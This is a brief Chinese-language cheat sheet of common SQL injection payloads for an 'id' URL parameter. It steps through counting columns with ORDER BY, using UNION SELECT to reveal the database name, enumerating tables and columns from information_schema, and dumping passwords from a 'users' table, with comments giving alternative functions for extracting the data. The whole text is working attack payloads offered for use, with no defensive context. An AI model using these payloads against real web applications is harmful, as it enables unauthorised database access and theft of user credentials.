常用payload:
1.?id=1' order by 4 --+
2.?id=0' union select 1,2,3,database() --+
3.?id=0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --+
4.?id=0' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name="users" --+
#group_concat(column_name) 可以替换为 unhex(Hex(cast(column_name+as+char)))column_name
5.?id=0' union select 1,2,3,group_concat(password) from users --+
#group_concat() 可以替换为concat_ws(',',id,users,password)
6.?id=0' union select 1,2,3,password from users limit 0,1 --+